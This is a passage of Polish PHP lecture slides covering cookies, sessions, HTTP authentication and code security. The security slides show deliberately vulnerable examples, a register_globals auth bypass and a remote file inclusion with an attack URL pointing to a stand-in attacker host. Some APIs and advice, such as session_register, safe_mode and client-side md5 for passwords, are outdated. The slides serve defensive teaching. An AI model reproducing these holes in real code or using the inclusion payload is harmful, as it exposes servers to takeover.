PHP i ciasteczka Tablicowa obsługa ciasteczek setcookie ("cookie[three]", "cookiethree"); setcookie ("cookie[two]", "cookietwo"); setcookie ("cookie[one]", "cookieone"); if (isset($_COOKIE['cookie'])) { while (list($name, $value)=each($cookie)) { echo "$name == $value<br>\n"; }
121
PHP i ciasteczka Przykłady: setcookie ("ciacho", "smaczne",time()+3600, "/~pawel/", ".ii.uni.wroc.pl", 1); ciacho.php odwiedziny.php
122
PHP i nagłówki HTTP int header(string treść_nagłówka) wysyła nagłówek HTTP przykłady: header("Location: http://www.onet.pl/");http://www.onet.pl/ $download_size = filesize($file_server_path); header("Content-type: application/x-download"); header("Content-Disposition: attachment; filename=$file_download_name;"); header("Accept-Ranges: bytes"); header("Content-Length: $download_size"); @readfile($file_server_path);
123
PHP i nagłówki HTTP array headers_list (void) lista nagłówków do wysłania bool headers_sent (void) sprawdza, czy nagłówki zostały już wysłane
124
PHP – buforowanie bool ob_start ( [callback output_callback]) rozpoczęcie buforowania bool ob_end_clean ( void ) kończy buforowanie i czyści bufor wyjściowy bool ob_end_flush ( void ) kończy buforowanie i wypisuje zawartość void ob_clean ( void ) czyści bufor wyjściowy
125
PHP – buforowanie string ob_get_clean (void) zwraca aktualną zawartość bufora i czyści bufor string ob_get_flush(void) wypisuje zawartość bufora zwraca go jako napis kończy buforowanie int ob_get_length(void) zwraca rozmiar bufora wyjściowego
126
PHP – buforowanie Przykład: bufory.php
127
PHP i sesje - wprowadzenie Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)
128
PHP i sesje - wprowadzenie Utworzenie sesji Korzystanie z sesji KLIENTSERWER Klient wysyła żądanie zasobu Serwer odsyła identyfikator nowo utworzonej sesji KLIENTSERWER Klient wysyła żądanie zasobu dołączając identyfikator sesji Na serwerze tworzona jest nowa sesja Na serwerze odtwarzane są dane sesji
129
PHP i sesje – zestaw funkcji string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name
130
PHP i sesje – zestaw funkcji string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start() bool session_start(void) tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL. jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki
131
PHP i sesje – zestaw funkcji void session_write_close(void) zapisuje dane i kończy sesję void session_commit(void) alias do session_write_close() bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego: setcookie(session_name(),"",0,"/")
132
PHP i sesje – przykład licznik.php
133
PHP i sesje – zestaw funkcji string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji w Foxserv domyślnie: C:\FoxServ\sessiondata bool session_regenerate_id(void) tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)
134
PHP i sesje – zestaw funkcji string session_encode(void ) koduje dane sesji do postaci stringu bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start void session_set_cookie_params( int czas_życia [, string ścieżka [, string domena]]) ustawia parametry ciastka sesji
135
PHP i sesje – zestaw funkcji array session_get_cookie_params(void) zwraca parametry ciasteczka sesji lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie
136
PHP i sesje – zmienne (cz. 1) bool session_register(mixed nazwa [, mixed...]) rejestruje zmienną globalną jako zmienną sesji $dilbert = "Fajny komiks"; session_register("dilbert"); bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji
137
PHP i sesje – zmienne (cz. 1) void session_unset(void) zwalnia wszystkie zmienne sesji bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana
138
PHP i sesje – zmienne (cz. 2) Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej $_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych $_SESSION = array() sprawdzenie, czy zmienna istnieje isset($_SESSION["zmienna"])
139
PHP i sesje - przykłady Niszczenie sesji (pierwszy sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); session_unset(); session_destroy(); ?>
140
PHP i sesje - przykłady Niszczenie sesji (drugi sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); $_SESSION = array(); session_destroy(); ?>
141
PHP i sesje Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność – różnica ok. 10% Zapisywanie danych sesji w bazie danych do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()
142
PHP i sesje – opcje session.save_path określa, gdzie będą tworzone pliki z danymi sesji domyślnie: C:\FoxServ\sessiondata session.name określa nazwę sesji, która będzie też nazwą ciastka domyślnie PHPSESSID
143
PHP i sesje – opcje session.auto_start określa, czy sesja ma być uruchamiana automatycznie na początku wywołania domyślnie 0 (wyłączone) session.cookie_lifetime określa w sekundach długość życia ciastka sesyjnego 0 oznacza "dopóki przeglądarka nie została zamknięta" domyślnie 0
144
PHP i sesje – opcje session.use_cookies określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone) session.use_only_cookies określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo
145
Kontrola dostępu do danych Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do zasobu (może zależeć od innych czynników)
146
Autoryzacja HTTP Rodzaje Basic Digest Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem
147
Autoryzacja HTTP w Apache'u Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c apache.exe -l httpd -l Upewniamy się, że pliku httpd.conf jest wpis AllowOverride All Teraz, możemy utworzyć plik.htaccess w każdym katalogu w którym chcemy sterować prawami dostepu
148
Autoryzacja HTTP w Apache'u Przykładowa zawartość pliku.htaccess AuthType Basic AuthUserFile /usr/local/apache/users AuthName "Administration Module" Require valid-user // pawel zenek Order allow,deny Allow from swiatowit.ii.uni.wroc.pl Deny from all Satisfy any // all Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu
149
Autoryzacja HTTP w Apache'u Na końcu tworzymy użytkownika htpasswd -c users pawel htpasswd users john istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki
150
Autoryzacja HTTP w Apache'u Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera
151
Autoryzacja HTTP w PHP Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja typu Basic po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych $_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']
152
Autoryzacja HTTP w PHP Przykład: httpauth.php
153
Autoryzacja – sesje w PHP Etapy dostępu do danych Logowanie pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji
154
Autoryzacja – sesje w PHP Etapy dostępu do danych Użycie sesji podtrzymanie sesji ponowna weryfikacja uprawnień Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)
155
Autoryzacja – sesje w PHP Przykład: login.php i pokaz.php
156
Autoryzacja – sesje w PHP Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej
157
Autoryzacja – sesje w PHP Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo
158
Autoryzacja – sesje w PHP Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)
159
Bezpieczeństwo kodu PHP Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE,...) powinna być wyłączona (Off) i tak jest domyślnie Przykład (login.php): <?php if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>
160
Bezpieczeństwo kodu PHP A teraz uruchamiamy skrypt login.php?auth=true Przykład: (login.php ulepszony) <?php $auth=false; if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury(); ?>
161
Bezpieczeństwo kodu PHP Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy włączyć raportowanie error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać error_reporting(0)
162
Bezpieczeństwo kodu PHP Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w szczególności pod kątem typ danych zawartość długość akceptujemy te tylko dane, których się spodziewaliśmy nigdy nie polegamy na weryfikacji po stronie klienta
163
Bezpieczeństwo kodu PHP W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości...
164
Bezpieczeństwo kodu PHP Przykład: <?php if (isset($_GET["plik"])) include($_GET["plik"]); ?> i agresor robi tak: skrypt.php?plik=http://agresor.pl/zlosliwy.php
165
Bezpieczeństwo kodu PHP Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie.inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()
166
Bezpieczeństwo kodu PHP Upload plików należy upewniać się, że upload pliku faktycznie miał miejsce – służą do tego funkcje is_uploaded_file() move_uploaded_file()
167
Bezpieczeństwo kodu PHP Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu
168
Bezpieczeństwo kodu PHP Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions =
169
Bezpieczeństwo kodu PHP Ukrywanie rozszerzeń dodajemy w pliku httpd.conf (ewentualnie.htaccess) AddType application/x-httpd-php.htm.html Ukrywanie hasła do bazy danych (plik httpd.conf) php_admin_value open_basedir C:\Foxserv\www\test php_admin_value disable_functions a3js8ge4a2 <?php echo ini_get("disabled_functions"); ?>
Podobne prezentacje
© 2024 SlidePlayer.pl Inc.
All rights reserved.